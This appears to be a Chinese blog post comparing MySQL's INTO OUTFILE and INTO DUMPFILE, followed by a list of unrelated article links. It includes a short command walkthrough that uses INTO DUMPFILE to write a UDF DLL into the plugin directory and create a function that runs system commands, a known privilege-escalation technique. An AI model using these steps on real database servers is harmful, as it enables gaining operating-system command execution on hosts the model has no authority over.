mysql dumpfile与outfile函数的区别
一直以为两个函数作用是相同的
经过简单测试发现还是有些区别的
如下表admin
mysql> select * from admin;
+-----+-----------+---------+
| uid | name | pass |
+----+------------+---------+
| 1 | admin | baidusb |
| 2 | root | hacksb |
| 3 | manage | nimei |
| 4 | boss | helensb |
| 5 | guanli | admin |
| 6 | superuser | G0Ood |
+----+------------+---------+
mysql> select * from admin into outfile '/home/seclab/test/test1.txt';
Query OK,1 row affected (0.00 sec)
我是想将这些内容 导出到 一个txt文件,事实上是可以完整导出每行记录的.
这个很适合导库
而into dump是不行的 它只能导出 一行数据!
若我们想把一个 可执行2进制 文件用into outfile函数导出
事实上 导出后 就会被破坏
因为into outfile 函数 会 在行末端写入新行 更致命的 是会转义 换行符
这样的话这个2进制可执行 文件 就会被破坏
这时候我们用into dumpfile 就能导出 一个完整能执行的2进制 文件
into dumpfile 函数不对任何列或行进行终止,也不执行任何转义处理
如在无web脚本 执行 但是有mysql root 执行的环境下 我们就可以 通过
into dump 函数导入udf.dll进行提权
mysql> show variable like '%plugin%';
+----------------+------------------------------------------+
|Variable_name | Value |
+----------------+------------------------------------------+
| plugin_dir |c:\mysql\mysql server 5.1\lib/plugin |
+----------------+------------------------------------------+
mysql> select unhex('udf.dll hex code') into dumpfile 'c:/mysql/mysql server 5.1/lib/plugin/xxoo.dll';
mysql> select * from func; #查看是否有人创建过udf 如果有就可以省略
mysql> create function MyCmd returns string soname ''c:/mysql/mysql server 5.1/lib/plugin/xxoo.dll';
mysql> select MyCmd('whoam');
一点小知识点:
如何获取该udf.dll文件的16进制值(hex)?
我们可以本地搭建mysql环境 找个可以用的udf.dll文件 执行下面操作
mysql> select hex(load_file ('c:/windows/temp/xxoo.dll')) into outfile 'c:/windows/temp/xxoo.txt';
如何获取该udf插件的内置 函数?
通过C32 等16进制 编辑器 或直接通过记事本 打开 看关键字 即可。
mysql dumpfile与outfile函数的区别的更多相关文章
- MySQL存储过程与存储函数的区别
语法定义上的区别就不说了,说一下其他的.如果有不正确的地方,还请大家指正. 1.总述存储函数和存储过程统称为存储例程(stored routine).两者的定义语法很相似,但却是不同的内容.存储函数限 ...
- MySQL存储过程/存储过程与自定义函数的区别
语法: 创建存储过程: CREATE [definer = {user|current_user}] PROCEDURE sp_name ([ proc_parameter [,proc_parame ...
- (转)MySQL存储过程/存储过程与自定义函数的区别
转自:http://www.cnblogs.com/caoruiy/p/4486249.html 语法: 创建存储过程: CREATE [definer = {user|current_user}] ...
- 日期时间函数 mysql 和sqlserver 中对于常用函数的日期和时间函数的区别
1. sqlserver中获取时间用getdate(),默认返回格式是2019-01-21 13:58:33.053,具体的年月日,时分秒毫米,年月日之间用短线连接,时分秒之间用冒号连接,秒和毫米之间 ...
- MySQL中SYSDATE()和NOW()函数的区别和联系
MySQL中有5个函数需要计算当前时间的值: NOW.返回时间,格式如:2012-09-23 06:48:28 CURDATE,返回时间的日期,格式如:2012-09-23 CURTIME,返回时间, ...
- 【存储过程】MySQL存储过程/存储过程与自定义函数的区别
---------------------------存储过程-------------------- 语法: 创建存储过程: CREATE [definer = {user|current_user ...
- MySQL存储过程和自定义函数、Navicat for mysql、创建存储过程和函数、调用存储过程和函数的区别
1 MySQL存储过程和函数 过程和函数,它们被编译后保存在数据库中,称为持久性存储模块(Persistent Stored Module,PSM),可以反复调用,运行速度快. 1.1 存储过程 存储 ...
- MySQL注入时常用函数
注入常用函数 数据库相关 database() --- 返回当前数据库名 @@datadir --- 读取数据库路径 @@basedir --- 读取数据库安全路径 @@version_compile ...
- mysql 存储过程和存储函数
14.1.1 创建存储过程 MySQL中,创建存储过程的基本形式如下: CREATE PROCEDURE sp_name ([proc_parameter[,...]]) [characteristi ...
随机推荐
- 在EF4.1的DBContext中实现事务处理(BeginTransaction)和直接执行SQL语句的示例
在EF4.1的DBContext中实现事务处理(BeginTransaction)和直接执行SQL语句的示例 (2012-03-13 10:12:48) 转载▼ public ActionResu ...
- 【CodeForces 266C】Below the Diagonal(模拟)
题目每次把空列换到最后一列,把非空行换到最下一行. #include<cstdio> #include<algorithm> #define N 1005 using name ...
- 安装vmall5:从ebak恢复数据,需要配置php.ini
上传vmall5源码到服务器后访问ebak目录,发现网页不显示.用xshell登录到服务器手动执行ebak/index.php查看输出,发现这样一个错误: PHP Parse Error: synta ...
- Android程序设计-RecyclerView的使用
[定义] 看到这个标题,也许你会问什么是RecyclerView?其实开始的时候我也不知道- -,下面小编将带领大家领略RecyclerView的强大之处 [描述] 看完这个我想大家应该知道了吧,这个 ...
- Zabbix3.2安装部署
zabbix server 前提环境: CentOS6 Lnmp php需要的包(bcmath,mbstring,sockets,gd,libxml,xmlwriter,xmlreader,ctype ...
- HDU 4388 To the moon
传送门 To the moon Time Limit: 4000/2000 MS (Java/Others) Memory Limit: 65536/65536 K (Java/Others) ...
- Beta版本冲刺第四天 12.10
一.站立式会议照片: 二.项目燃尽图: Android端 后台 三.项目进展: 成 员 昨天完成任务 今天完成任务 明天要做任务 问题困难 心得体会 胡泽善 日期合理性的判断,一个是用户反馈的查看 管 ...
- 《JavaScript权威指南》学习笔记 第八天 Node Tree
前几天介绍了DOM的知识,以及节点的操作.今天我们来重点理解下Node的属性以及方法. 在Document文档里属于Node的东西很多: 其中Document对象是Node对象最大的对象,平时我们使用 ...
- 《JavaScript权威指南》学习笔记 第四天 数组
昨天学习了js的对象,了解了js的原型链.在js里面万事万物皆对象,只不过一些原始类型要经过包装对象的包装才能暂时变为对象.数组的本质是什么呢?数组其实就是一组数,也就是链表.每个数只是这个链表上的一 ...
- HTML5学习总结-08 WebSocket 服务器推送
一 WebSocket 随着互联网的发展,传统的HTTP协议已经很难满足Web应用日益复杂的需求了.近年来,随着HTML5的诞生,WebSocket协议被提出,它实现了浏览器与服务器的全双工通信,扩展 ...